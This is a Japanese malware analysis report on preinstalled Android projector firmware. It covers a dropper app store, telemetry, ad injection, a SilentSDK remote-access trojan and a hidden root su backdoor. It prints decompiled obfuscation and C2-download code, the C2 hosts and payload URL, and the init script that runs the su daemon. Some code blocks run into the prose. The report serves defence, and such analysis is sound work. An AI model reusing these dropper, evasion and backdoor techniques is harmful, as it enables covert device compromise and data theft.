**影響:** 物理的なアクセスを持つユーザー、または同一ネットワーク上の攻撃者（ADB経由、ポート5555が開いていて認証なし）が完全なルートアクセスを取得します。

---

## 4. C2サーバー応答 — 主要な証拠

### キャプチャされたHTTPリクエスト```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

**Interpretation of the flags:**

- `isShow: false` — The app does not appear in the store interface.
- `isForce: true` — Presumably forces the action (installation or update).
- `isSilentUninstall: true` — Can uninstall itself without user interaction.
- `launchType: 1` — Automatically starts the background service.
- `launchParam: MyService` — Reference to the persistent service.
- `zone: "Global"` — Targets all devices worldwide.
- `reverseLen` — Byte length needed to restore the SilentSDK `.apk`.

### Encrypted Download Path

The `path` field is AES-CBC encrypted:

- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> The ChannelID of the device.
- **Decrypted result:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com

---

## 6. StoreOS — ドロッパー分析

StoreOSは自動インストールされるアプリストアのように見えますが、ドロッパーの機能を果たします。  
**パッケージ:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### 権限

| 権限 | 影響 |
|:---|:---|
| `INSTALL_PACKAGES` | ユーザーダイアログなしでのサイレントインストール |
| `CLEAR_APP_USER_DATA` | 任意のアプリデータの削除 |
| `MASTER_CLEAR` | 工場出荷時リセットのトリガー |
| `WRITE_SECURE_SETTINGS` | セキュリティ設定の変更 |
| `DEVICE_POWER` | デバイスの電源管理 |
| `MANAGE_EXTERNAL_STORAGE` | 外部ストレージへのフルアクセス |

### インストールチェーン（逆コンパイルコードより）

1. **BootReceiver**が`CheckUpdateService`を起動します。
2. HTTP POST to `store-api.aodintech.com/sign/app/list`.
3. サーバーが以下を含む`AppsData[]`を配信します: `pkg`、`path`、`isForce`、`isShow`、`isSilentInstall`、`isSilentUninstall`、`launchType`、`launchParam`、`reverseLen`、`md5`。
4. `DownloadService`がCDNから`.bpp`ファイルとしてAPKを取得します。
5. **バイトリバーサル保護:** 最初の`reverseLen`バイトがディスクに書き込まれる前に反転されます（解析対策）。
6. ダウンロードされたファイルのMD5検証。
7. `Runtime.getRuntime().exec("pm install -r " + filePath)`を介したインストール。
8. `StartAppService`が`launchParam`に従ってインストールされたアプリを起動します。

### バイトリバーサル機構 — 技術的証明

**クラス:** `AbstractC2057b` — **メソッド:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

このメソッドは、ダウンロードされたすべてのAPKの最初の`reverseLen`バイトを反転します。その結果、傍受された`.bpp`ファイルは、特定の`reverseLen`値が分からなければ、有効なAPKとして認識または抽出できません。```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

このメカニズムをリバースエンジニアリングすることで、SilentSDK APKのデコードと解析に成功しました。

### ジオターゲティング

StoreOSはIPジオロケーションに`api.ipdatacloud.com/v2/query`を利用しています。`SpecialApps`クラスには`continent`と`countryCode`のフィールドが含まれており、地域固有のペイロード配信が可能です。

---

## 7. EventUploadService — テレメトリ

**パッケージ:** `com.htc.eventuploadservice`  
**ターゲット:** `http://event-api.aodintech.com/report`  
**間隔:** 5分ごと  

| フィールド | 値の例 | プライバシーへの影響 |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | MACアドレス（個人情報） |
| `deviceSn` | `[REDACTED]` | シリアル番号（一意） |
| `channel` | `HY260Pro_hy_TPYB` | ファームウェアチャンネル |
| `version` | `Projector.20250422.152235` | ファームウェアバージョン |
| `model` | `NT10` | デバイスモデル |
| `language` | `en_US` | 言語設定 |

送信はHTTP経由で暗号化されておらず、ユーザーの同意もなく行われます。MACアドレスとシリアル番号により、個々のデバイスの正確な識別と追跡が可能です。

---

## 8. ExpandSDK — 広告インジェクション

**パッケージ:** `com.htc.expandsdk`  
**C2サーバー:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

ExpandSDKはVASTビデオ広告にTCL VastAd SDKを利用しており、画面上の任意の位置にシステムオーバーレイダイアログ（`SYSTEM_ALERT_WINDOW`）をレンダリングできます。設定には位置フィールド（`AdDialogX`、`AdDialogY`、`Width`、`High`、`Gravity`）とパートナー識別子`htk`（Hotack）が含まれています。

ExpandSDKはSilentSDKとは独立して、別の収益化チャンネルとして動作します。

---

## 9. SilentSDK — RAT分析

**パッケージ:** `com.hotack.silentsdk`  
**SHA-256 (decoded):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (decoded):** `5df097591d6942bae4eff33a37c4e28f`

### マニフェスト解析

| プロパティ | 値 | 意味 |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | システム権限（UID 1000） |
| `usesCleartextTraffic` | `true` | HTTPトラフィック許可 |
| ランチャーアイコン | ユーザーから見えない | ユーザーインターフェースから隠されている |
| `BootReceiver` | 優先度999 | ほぼすべての他のアプリより先に起動 |
| `MyService` | exported, foreground | 永続的なバックグラウンドサービス |
| `BootStartActivity` | `com.htc.bootstart` | 追加の起動トリガー |

### DEXパッキングと復号化

元のDEXはパックされています。ヘッダーは2,318,316バイトを宣言していますが、圧縮ファイルには無効なAdler32チェックサムを持つ65,536バイトしか含まれていません。StoreOSのバイト反転保護を突破すると、DEXは完全に読み取り可能になり、ファイルサイズと宣言サイズが一致し、16,241の文字列が抽出可能になります。

### XOR難読化 — 技術的証明

すべてのセキュリティ関連文字列は、`AbstractC0000a.m36g()`メソッド内で回転XOR暗号を使用して難読化されています:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

SSLエラー（`SSLException`）が発生した場合、`f2664e` は `false` に設定され、以降のリクエストはすべてHTTPを使用します。




#### フェーズ3: ペイロードの取得
 
**`C0566k.java` — オフラインフォールバック（埋め込みペイロード）**
 
ネットワークに接続する前に、このクラスはAPK内の `assets/m17gawxG.java` にペイロードが既にバンドルされているかどうかを確認します。見つかった場合、ファイルをバイト単位で読み取り、ハードコードされたXORキー（`m17gawxG`）を使用して復号化します。結果は実行可能な `.temp` ファイルとして書き込まれます。これにより、RATはエアギャップ環境やC2サーバーに到達できない場合でもアクティブ化できるようになります。
 
**`RunnableC0569n.java` — ライブC2ダウンローダー**
 
オフラインフォールバックが失敗した場合、このクラスはBot-ID、パッケージ名、Androidバージョンを含むJSONビーコンを構築し、C2エンドポイント `api.pixelpioneerss.com` に接続します。
 
**ステップ1 — ランダムパスによるURL生成:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

**Step 3 — AES暗号化と送信:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

ダウンローダー（`AbstractC0000a.m37h`）はペイロードを取得し、ルートシェルを使って `chmod 777` で完全な実行権限を付与します。
 
すべてのC2リクエストにはカスタムHTTPヘッダー `a: 1003` が含まれています。これはこのマルウェアファミリーのネットワークレベルのシグネチャです。



#### フェーズ4：実行と制御
 
**`AbstractC0568m.java` — ステージングエリア**
 
デバイスのファイルシステムに **`TMRXwWJu3G5`** という隠しディレクトリを作成し、ダウンロードされたすべてのペイロードをステージングします。このクラスには、悪意のあるオーバーレイがアクティブな間にユーザーが「戻る」ボタンを押せないように、物理キーイベント（`KeyEvent`）をインターセプトするメソッド（`m1754e`）も含まれています。
 
**`C0561f.java` — オーケストレーター**
 
チェーン全体を結合します。`C0566k.m1746b` の高度に難読化されたコードを呼び出し、リフレクションを使用して文字列 `"dalvik.system.DexClassLoader"` を構築し、それを初期化します。その後、ClassLoader は強制的に最終ペイロードクラスをロードして実行します：```
com.me.cash5.OoO0OOo

これはプライマリの `api.pixelpioneerss.com` とは**別のC2ドメイン**であり、テレメトリの流出専用に使用されます。
 
**`AbstractC0572q.java` & `RunnableC0560e.java` — ハートビートと自己修復**
 
永続化メカニズムです。`AbstractC0572q` はメインスレッド上にタイマーを保持します。感染チェーンのいずれかの部分が失敗した場合（例：ダウンロード中にインターネットがない場合）、`sendEmptyMessageDelayed(..., 60000L)` を起動します。正確に60秒後、`RunnableC0560e`（バックグラウンドワーカーとして）が感染機構全体を最初から再起動します。このループは感染が成功するまで無限に繰り返されます。
 
### 永続化と動的ローディング — 概要
 
`RunnableC0569n` のメソッド `m1762a()` は、完全なペイロードダウンロードサイクルを実装しています。
 
1. C2からDEXファイルをダウンロードする。
2. MD5ハッシュを検証する。
3. バージョン番号をSharedPreferencesに保存する。
4. `DexClassLoader` または `Runtime.exec()` を使用してDEXをロードして実行する。
5. エラー時：SharedPreferencesのリトライカウンタを増加させ、13回の失敗試行後に一時停止 — その後、60秒のハートビートがサイクルを再開する。


## 9.1. マルウェアペイロード

C2サーバーにこのリクエストを送信した後：```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

---
## 10. マルウェア

ペイロードの取得とその後の分析が成功した後、カスタム暗号化と難読化の強力なレイヤーを回避した上で、このマルウェアは高度にモジュール化されたアーキテクチャを採用していることが判明しました。このマルウェアは、プラグインを動的にダウンロード、更新、再起動、そしてフォレンジック証拠を破壊するために積極的に削除することが可能な、洗練されたフレームワークとして動作します。これらのペイロードはルート権限で実行されます。さらに、コードは画面上に完全なWebViewをオーバーレイするように設計されたメカニズムを明らかにしており、高度なフィッシング能力を強く示唆しています。また、マルウェアは高度な標的化と回避戦術を示しており、特定の地域を攻撃するための厳格なジオフェンシングを実装し、CPUアーキテクチャ（`arm64`、`armeabi`、`x86`、`mips`を区別）をプロファイリングし、C2通信を保護するためにSSL証明書検証を積極的にバイパスします。現時点では、この概要は意図的に簡潔にしています。なぜなら、強力な難読化により、長期にわたる継続的なリバースエンジニアリングプロセスが必要だからです。

## 11. システムバックドア

### 11.1 隠し`su`バイナリ：`/system/bin/qw`

`su` バイナリを `qw` と改名したもの（Koushikdutta Superuser、388 KB、静的リンク、ARM 32ビット）：```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core

### ネットワークシグネチャ```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

### ファイルシステム```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

---

## 16. MITRE ATT&CK マッピング

| 手法 | ID | 証拠 |
|:---|:---|:---|
| サプライチェーン侵害 | T1195.002 | マルウェアファクトリーがプリインストール |
| ブートまたはログオン自動実行 | T1547 | BootReceiver 優先度 999 |
| 難読化されたファイルまたは情報 | T1027 | XOR 文字列、DEX パッキング、埋め込み XOR 暗号化アセット |
| アプリケーション層プロトコル | T1071 | HTTP/HTTPS C2 |
| 動的データ交換 / ペイロードインジェクション | T1055 | DexClassLoader, chmod 777 |
| システム情報の収集 | T1082 | デバイスフィンガープリンティング、ボットID生成 |
| ローカルシステムからのデータ収集 | T1005 | MAC、シリアル、IMEI、android_id |
| C2チャネル経由のデータ流出 | T1041 | `bur.thedynamicleap.com` への定期的なテレメトリー |
| 偽装 | T1036 | .bpp ファイル拡張子、ADT-3 偽装 |
| ルートキット | T1014 | 隠蔽された su バイナリ |
| 入力キャプチャ | T1056 | 戻るボタンを抑制する KeyEvent インターセプト |
| 痕跡削除 / 自己削除 | T1070 | `isSilentUninstall: true` 機能 |
| リフレクティブコードローディング | T1620 | リフレクティブな DexClassLoader インスタンス化 |
| システムウィンドウオーバーレイ | T1624 | 不可視オーバーレイのための SoftInputMode 操作 |

---

## 17. 即時対策

### 影響を受けるエンドユーザー向け```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

---

## 18. ソース

1. Zane St. John: 「Claude CodeによるプリインストールAndroidマルウェアのリバースエンジニアリング」、2026年1月。 https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: 「BSI、IoTデバイス上のプリインストールマルウェアについて警告」(BADBOX)、2023年10月。
3. StoreOS APKのVirusTotal分析。

---

**分析期間:** 2026年4月11日～17日

**免責事項**
教育および研究目的のみ。このレポートは、サイバーセキュリティ脅威に関する情報提供の目的で「現状のまま」提供されます。分析は現在のマルウェアエコシステムのスナップショットに基づいており、リバースエンジニアリングは進行中のプロセスであるため、新しいデータが利用可能になるにつれて調査結果が変更される可能性があります。

このレポートは、バイナリデータと逆コンパイルされたソースコードの分析に基づき、誠意を持って、私の知る限り正確に作成されました。難読化の度合いが高く、脅威の性質が進化し続けているため、これらの調査結果は研究の現状を表しています。証拠は導き出された結論を強く支持していますが、さらなる技術的証拠が明らかになるにつれて、これらは洗練される可能性があります。